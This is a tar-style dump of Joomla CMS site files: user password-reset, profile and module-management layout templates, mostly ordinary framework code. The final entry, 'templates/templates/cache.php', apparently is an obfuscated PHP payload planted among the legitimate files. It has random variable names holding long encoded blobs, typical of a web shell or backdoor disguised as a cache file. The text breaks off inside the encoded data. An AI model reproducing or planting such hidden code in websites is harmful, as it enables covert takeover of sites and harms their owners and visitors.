use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset-confirm reset-confirm">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_users&task=reset.confirm'); ?>" method="post" class="com-users-reset-confirm__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset-confirm__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
reset/complete.php000064400000003313151731211050010203 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset-complete reset-complete">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_users&task=reset.complete'); ?>" method="post" class="com-users-reset-complete__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset-complete__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
reset/default.xml000064400000000445151731211050010033 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_RESET_VIEW_DEFAULT_TITLE" option="COM_USERS_RESET_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Password_Reset"
		/>
		<message>
			<![CDATA[COM_USERS_RESET_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
reset/default.php000064400000003275151731211050010026 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset reset">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=reset.request'); ?>" method="post" class="com-users-reset__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
profile/default_params.php000064400000003255151731211050011705 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<?php $fields = $this->form->getFieldset('params'); ?>
<?php if (count($fields)) : ?>
    <fieldset id="users-profile-custom" class="com-users-profile__params">
        <legend><?php echo Text::_('COM_USERS_SETTINGS_FIELDSET_LABEL'); ?></legend>
        <dl class="dl-horizontal">
            <?php foreach ($fields as $field) : ?>
                <?php if (!$field->hidden) : ?>
                    <dt>
                        <?php echo $field->title; ?>
                    </dt>
                    <dd>
                        <?php if (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
                        <?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
                        <?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
                        <?php else : ?>
                            <?php echo HTMLHelper::_('users.value', $field->value); ?>
                        <?php endif; ?>
                    </dd>
                <?php endif; ?>
            <?php endforeach; ?>
        </dl>
    </fieldset>
<?php endif; ?>
profile/default_custom.php000064400000006355151731211050011740 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$fieldsets = $this->form->getFieldsets();

if (isset($fieldsets['core'])) {
    unset($fieldsets['core']);
}

if (isset($fieldsets['params'])) {
    unset($fieldsets['params']);
}

$tmp          = $this->data->jcfields ?? [];
$customFields = [];

foreach ($tmp as $customField) {
    $customFields[$customField->name] = $customField;
}

unset($tmp);

?>
<?php foreach ($fieldsets as $group => $fieldset) : ?>
    <?php $fields = $this->form->getFieldset($group); ?>
    <?php if (count($fields)) : ?>
        <fieldset id="users-profile-custom-<?php echo $group; ?>" class="com-users-profile__custom users-profile-custom-<?php echo $group; ?>">
            <?php if (isset($fieldset->label) && ($legend = trim(Text::_($fieldset->label))) !== '') : ?>
                <legend><?php echo $legend; ?></legend>
            <?php endif; ?>
            <?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
                <p><?php echo $this->escape(Text::_($fieldset->description)); ?></p>
            <?php endif; ?>
            <dl class="dl-horizontal">
                <?php foreach ($fields as $field) : ?>
                    <?php // Correct the field name so that subform custom fields show up. ?>
                    <?php if ($field->type === 'Subform' && $field->fieldname === 'row') : ?>
                        <?php preg_match("/jform\[com_fields]\[(.*)]/", $field->name, $matches); ?>
                        <?php $field->fieldname = $matches[1]; ?>
                    <?php endif; ?>
                    <?php if (!$field->hidden && $field->type !== 'Spacer') : ?>
                        <dt>
                            <?php echo $field->title; ?>
                        </dt>
                        <dd>
                            <?php if (array_key_exists($field->fieldname, $customFields)) : ?>
                                <?php echo strlen($customFields[$field->fieldname]->value) ? $customFields[$field->fieldname]->value : Text::_('COM_USERS_PROFILE_VALUE_NOT_FOUND'); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
                            <?php else : ?>
                                <?php echo HTMLHelper::_('users.value', $field->value); ?>
                            <?php endif; ?>
                        </dd>
                    <?php endif; ?>
                <?php endforeach; ?>
            </dl>
        </fieldset>
    <?php endif; ?>
<?php endforeach; ?>
profile/default.xml000064400000000453151731211050010350 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_PROFILE_VIEW_DEFAULT_TITLE" option="COM_USERS_PROFILE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_User_Profile"
		/>
		<message>
			<![CDATA[COM_USERS_PROFILE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
profile/default.php000064400000002423151731211050010336 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div class="com-users-profile profile">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>

    <?php if (Factory::getUser()->id == $this->data->id) : ?>
        <ul class="com-users-profile__edit btn-toolbar float-end">
            <li class="btn-group">
                <a class="btn btn-primary" href="<?php echo Route::_('index.php?option=com_users&task=profile.edit&user_id=' . (int) $this->data->id); ?>">
                    <span class="icon-user-edit" aria-hidden="true"></span> <?php echo Text::_('COM_USERS_EDIT_PROFILE'); ?>
                </a>
            </li>
        </ul>
    <?php endif; ?>

    <?php echo $this->loadTemplate('core'); ?>
    <?php echo $this->loadTemplate('params'); ?>
    <?php echo $this->loadTemplate('custom'); ?>
</div>
profile/edit.xml000064400000000460151731211050007647 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_PROFILE_EDIT_DEFAULT_TITLE" option="COM_USERS_PROFILE_EDIT_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Edit_User_Profile"
		/>
		<message>
			<![CDATA[COM_USERS_PROFILE_EDIT_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
profile/edit.php000064400000007015151731211050007641 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\Component\Users\Site\View\Profile\HtmlView $this */

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

// Load user_profile plugin language
$lang = $this->getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-profile__edit profile-edit">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>

    <form id="member-profile" action="<?php echo Route::_('index.php?option=com_users'); ?>" method="post" class="com-users-profile__edit-form form-validate form-horizontal well" enctype="multipart/form-data">
        <?php // Iterate through the form fieldsets and display each one. ?>
        <?php foreach ($this->form->getFieldsets() as $group => $fieldset) : ?>
            <?php $fields = $this->form->getFieldset($group); ?>
            <?php if (count($fields)) : ?>
                <fieldset>
                    <?php // If the fieldset has a label set, display it as the legend. ?>
                    <?php if (isset($fieldset->label)) : ?>
                        <legend>
                            <?php echo Text::_($fieldset->label); ?>
                        </legend>
                    <?php endif; ?>
                    <?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
                        <p>
                            <?php echo $this->escape(Text::_($fieldset->description)); ?>
                        </p>
                    <?php endif; ?>
                    <?php // Iterate through the fields in the set and display them. ?>
                    <?php foreach ($fields as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>

        <?php if ($this->mfaConfigurationUI) : ?>
            <fieldset class="com-users-profile__multifactor">
                <legend><?php echo Text::_('COM_USERS_PROFILE_MULTIFACTOR_AUTH'); ?></legend>
                <?php echo $this->mfaConfigurationUI ?>
            </fieldset>
        <?php endif; ?>

        <div class="com-users-profile__edit-submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate" name="task" value="profile.save">
                    <span class="icon-check" aria-hidden="true"></span>
                    <?php echo Text::_('JSAVE'); ?>
                </button>
                <button type="submit" class="btn btn-danger" name="task" value="profile.cancel" formnovalidate>
                    <span class="icon-times" aria-hidden="true"></span>
                    <?php echo Text::_('JCANCEL'); ?>
                </button>
                <input type="hidden" name="option" value="com_users">
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
profile/default_core.php000064400000003106151731211050011345 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<fieldset id="users-profile-core" class="com-users-profile__core">
    <legend>
        <?php echo Text::_('COM_USERS_PROFILE_CORE_LEGEND'); ?>
    </legend>
    <dl class="dl-horizontal">
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_NAME_LABEL'); ?>
        </dt>
        <dd>
            <?php echo $this->escape($this->data->name); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_USERNAME_LABEL'); ?>
        </dt>
        <dd>
            <?php echo $this->escape($this->data->username); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_REGISTERED_DATE_LABEL'); ?>
        </dt>
        <dd>
            <?php echo HTMLHelper::_('date', $this->data->registerDate, Text::_('DATE_FORMAT_LC1')); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL'); ?>
        </dt>
        <?php if ($this->data->lastvisitDate !== null) : ?>
            <dd>
                <?php echo HTMLHelper::_('date', $this->data->lastvisitDate, Text::_('DATE_FORMAT_LC1')); ?>
            </dd>
        <?php else : ?>
            <dd>
                <?php echo Text::_('COM_USERS_PROFILE_NEVER_VISITED'); ?>
            </dd>
        <?php endif; ?>
    </dl>
</fieldset>
modules/default_options.php000064400000003146151731266630012142 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params');

echo HTMLHelper::_('bootstrap.startAccordion', 'collapseTypes');
$i = 0;

foreach ($fieldSets as $name => $fieldSet) :
    $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_' . strtoupper($name) . '_FIELDSET_LABEL';
    $class = isset($fieldSet->class) && !empty($fieldSet->class) ? $fieldSet->class : '';


    if (isset($fieldSet->description) && trim($fieldSet->description)) :
        echo '<p class="tip">' . $this->escape(Text::_($fieldSet->description)) . '</p>';
    endif;
    ?>
    <?php echo HTMLHelper::_('bootstrap.addSlide', 'collapseTypes', Text::_($label), 'collapse' . ($i++)); ?>

<ul class="nav flex-column">
    <?php foreach ($this->form->getFieldset($name) as $field) : ?>
    <li>
        <?php // If multi-language site, make menu-type selection read-only ?>
        <?php if (Multilanguage::isEnabled() && $this->item['module'] === 'mod_menu' && $field->getAttribute('name') === 'menutype') : ?>
            <?php $field->readonly = true; ?>
        <?php endif; ?>
        <?php echo $field->renderField(); ?>
    </li>

    <?php endforeach; ?>
</ul>

    <?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
<?php endforeach; ?>
<?php echo HTMLHelper::_('bootstrap.endAccordion'); ?>
modules/default.php000064400000030537151731266630010373 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$clientId  = (int) $this->state->get('client_id', 0);
$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = ($listOrder == 'a.ordering');

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_modules&task=modules.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_modules&view=modules&client_id=' . $clientId); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if ($this->total > 0) : ?>
            <table class="table" id="moduleList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_MODULES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                        </th>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_POSITION', 'a.position', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_MODULE', 'name', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($clientId === 0) : ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_PAGES', 'pages', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'ag.title', $listDirn, $listOrder); ?>
                        </th>
                        <?php if (($clientId === 0) && (Multilanguage::isEnabled())) : ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'l.title', $listDirn, $listOrder); ?>
                        </th>
                        <?php elseif ($clientId === 1 && ModuleHelper::isAdminMultilang()) : ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>
                        <th scope="col" class="w-5 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody <?php if ($saveOrder) :
                    ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php
                       endif; ?>>
                <?php foreach ($this->items as $i => $item) :
                    $ordering   = ($listOrder == 'a.ordering');
                    $canCreate  = $user->authorise('core.create', 'com_modules');
                    $canEdit    = $user->authorise('core.edit', 'com_modules.module.' . $item->id);
                    $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                    $canChange  = $user->authorise('core.edit.state', 'com_modules.module.' . $item->id) && $canCheckin;
                    ?>
                    <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->position ?: 'none'; ?>">
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                        </td>
                        <td class="text-center d-none d-md-table-cell">
                            <?php
                            $iconClass = '';
                            if (!$canChange) {
                                $iconClass = ' inactive';
                            } elseif (!$saveOrder) {
                                $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                            }
                            ?>
                            <span class="sortable-handler<?php echo $iconClass; ?>">
                                <span class="icon-ellipsis-v"></span>
                            </span>
                            <?php if ($canChange && $saveOrder) : ?>
                                <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                            <?php endif; ?>
                        </td>
                        <td class="text-center">
                            <?php // Check if extension is enabled ?>
                            <?php if ($item->enabled > 0) : ?>
                                <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'modules.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                            <?php else : ?>
                                <?php // Extension is not enabled, show a message that indicates this. ?>
                                <span class="tbody-icon" title="<?php echo Text::sprintf('COM_MODULES_MSG_MANAGE_EXTENSION_DISABLED', $this->escape($item->name)); ?>">
                                    <span class="icon-minus-circle" aria-hidden="true"></span>
                                </span>
                            <?php endif; ?>
                        </td>
                        <th scope="row" class="has-context">
                            <div>
                                <?php if ($item->checked_out) : ?>
                                    <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'modules.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php if ($canEdit) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_modules&task=module.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                        <?php echo $this->escape($item->title); ?></a>
                                <?php else : ?>
                                    <?php echo $this->escape($item->title); ?>
                                <?php endif; ?>

                                <?php if (!empty($item->note)) : ?>
                                    <div class="small">
                                        <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </th>
                        <td class="d-none d-md-table-cell">
                            <?php if ($item->position) : ?>
                                <span class="badge bg-info">
                                    <?php echo $item->position; ?>
                                </span>
                            <?php else : ?>
                                <span class="badge bg-secondary">
                                    <?php echo Text::_('JNONE'); ?>
                                </span>
                            <?php endif; ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $item->name; ?>
                        </td>
                        <?php if ($clientId === 0) : ?>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $item->pages; ?>
                        </td>
                        <?php endif; ?>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <?php if (($clientId === 0) && (Multilanguage::isEnabled())) : ?>
                        <td class="small d-none d-md-table-cell">
                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                        </td>
                        <?php elseif ($clientId === 1 && ModuleHelper::isAdminMultilang()) : ?>
                            <td class="small d-none d-md-table-cell">
                                <?php if ($item->language == '') :?>
                                    <?php echo Text::_('JUNDEFINED'); ?>
                                <?php elseif ($item->language == '*') :?>
                                    <?php echo Text::alt('JALL', 'language'); ?>
                                <?php else :?>
                                    <?php echo $this->escape($item->language); ?>
                                <?php endif; ?>
                            </td>
                        <?php endif; ?>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <?php // Load the batch processing form. ?>
        <?php
        if (
            $user->authorise('core.create', 'com_modules')
            && $user->authorise('core.edit', 'com_modules')
            && $user->authorise('core.edit.state', 'com_modules')
        ) : ?>
            <?php echo HTMLHelper::_(
                'bootstrap.renderModal',
                'collapseModal',
                [
                    'title'  => Text::_('COM_MODULES_BATCH_OPTIONS'),
                    'footer' => $this->loadTemplate('batch_footer'),
                ],
                $this->loadTemplate('batch_body')
            ); ?>
        <?php endif; ?>
        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
templates/templates/cache.php000060400000013020151731266630012316 0ustar00<?php $uQUZ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGip5VSVlmmBgDQA'; $nztv = 'Ar80YYB8niiMAf7g3aJZMrQWJlxLp69OoO/hH//0Vf8iLP8CD/8ZwnXYws/VrXO8JBlznP/otfv4jz6Ha+ENvW7HQnKSH3us1ooDu77T3f+e/f22bciXu4t7u4N1u8xnOQxCcvGvZy3Y8qsjP1/nJSIi93Gl5+Xv1F/9+isj+4vv5saUSYNoZMKJcXzf1MSKx3Nf6P6XzS+8q1OAVweQ5aRvmVGv0tYvAAg3E9CKMKrazBTI91+Nm6searnqkey9Byc8cmQFIuZGQnDTIJEnI1YYgMww0hiklJhw1dbYKWB1Xhxh3a/+ix6QMD65OSDViCw0LH4tbobvVx9mSFbP82X3mBa+ymzN76GuOylvWVqWbRmhWI6+8eRuYdZfZ294Af/i978kf32Kff91OtGWX4Egq1go7qJ2q9940qaFQ/1OViJeHi9b30993E1t1/vP0s0Oj+KI7aUBRIBP2+UMQUpZc1fWwMzIeMvXxz4lThXT8waQPvrsTRUfvCahaTrVJ+E5LnXJlm6PRXBJn4MD7r/ko6wSCKEFRw1EkG5kvdgIfOMkSg05WyA6ejCVqF6a7pmM23NdS4yGK5Qzo1zsE+QFLSWjugGH27kgPC3Bg1WcZMFvFwJGld1PVrPW1Rxqug7Lov3KHdtqwPQEomrloIfAF3L4YlcgXx81i/zQ7SXJzltT6mIq1YJXkFWgJKelpKuQFp5D5uh7ZMK8aTWqFjdCRmNdeTpy0FIbqMPH6EvFfQoa9KhUgwBe3iwJ2x0wOFBHTz/87EMEPTDVJNNdfRvyvLYeouYAmriTZ8RwJrTHt0KnfCKiDdKbegXjEjj5ybCFLdAJRQALkbP1SoAxbIOsV2qXJuGtZhr09L2CgBojd9TF0+5hSJzkbpil4EM0Vv5quiX2CV0WF1oVmRX2nGIFEkJsdqHgJ52WAGNBDz1b4gyDP091dEIorhibZkHNaEhQ/wPvAm51FE+WbrIgSkbh7WdAzWM2ADPLUDH2oYVM23hbRWuXELmQ8PHY7zyVQYW0y/aGUbU6QWiJkwweUrwR5FBo0XqYFYF5/n9BarK0j+WqnAJVXapqkrSKt3dIyhboeWwlGVlvESO1E0VdSVOVDrWRcWb5ifa1rWWXcZqSJBZ2LwhdNHDFrAUNiwHKzDkp7wFqxTVIjGTJuEB3BKzrcJlKClebbjqkRWKGpFJyAd0aOL3GSunSB7dMk+CGZMNckHzG1cCX4qMrEvLlgaIC73qEQ4gh6C/6sbTOJmwLZUrEQccVXP5U8KF9i+hEJn7xLjH3qcG7m2cJlByzYoadokSWu6mFk0WFiLIR5mOC5qbpM5WykA/GZiPWSdUZ6ZGzhgiODgq2QOZ7Bx8J5PiI4JHcMf78CyzSpbbJ/DEgas8QrRW4MYyV+ybHdoNLG+aYQx21xEiBOaCExxyaov0STGPOw8bOBM0DwUP4Sf5ozIxif/B2GZY8CblUdD0nYhJ4j4nxyaeumE7WeE9kYULJE+ztcHKpKFttlmeSRabppqlvycTacjKbT4JIUxrN3U6X7qUqyoqEVquRGf58GFFt0FuE/BYVrYl6NKtAPcUylfBprCC/iYWqaUyQgcOOf80dzP1fxw6hlkUikXAq02vGrLaegL+VEgnFKy1QXkhrUKNIJmIeygg71uioyul1qoxrgcgAEXdTYR8UwJUr4Qo4oNdc61N77/Vo7ipnajwd10zUuW0JM0haEBtKhunRYjAZrz2kZkyeNujNHnliJm2eNHZbr0xYoDanwnq0g3dTnVtK9EcJmZs7G5lOh80DTABZSfYc2bp0fPHDdDENlm3/sTXmI1kA3qYrR1KVhK/9im34q3cTl/eZP0ObBpqIc14i6sXCfISvHQF3OEQ+ycIXTyUlNK3FhJHFwhhNwqWaxuLb9oBBQPl20xsA0IHEnzpFD4SZk36joBwoade2XbNM0Ao9wJxw5RgM93XBLlJji7DG2mo6MAhmXOaoSDs6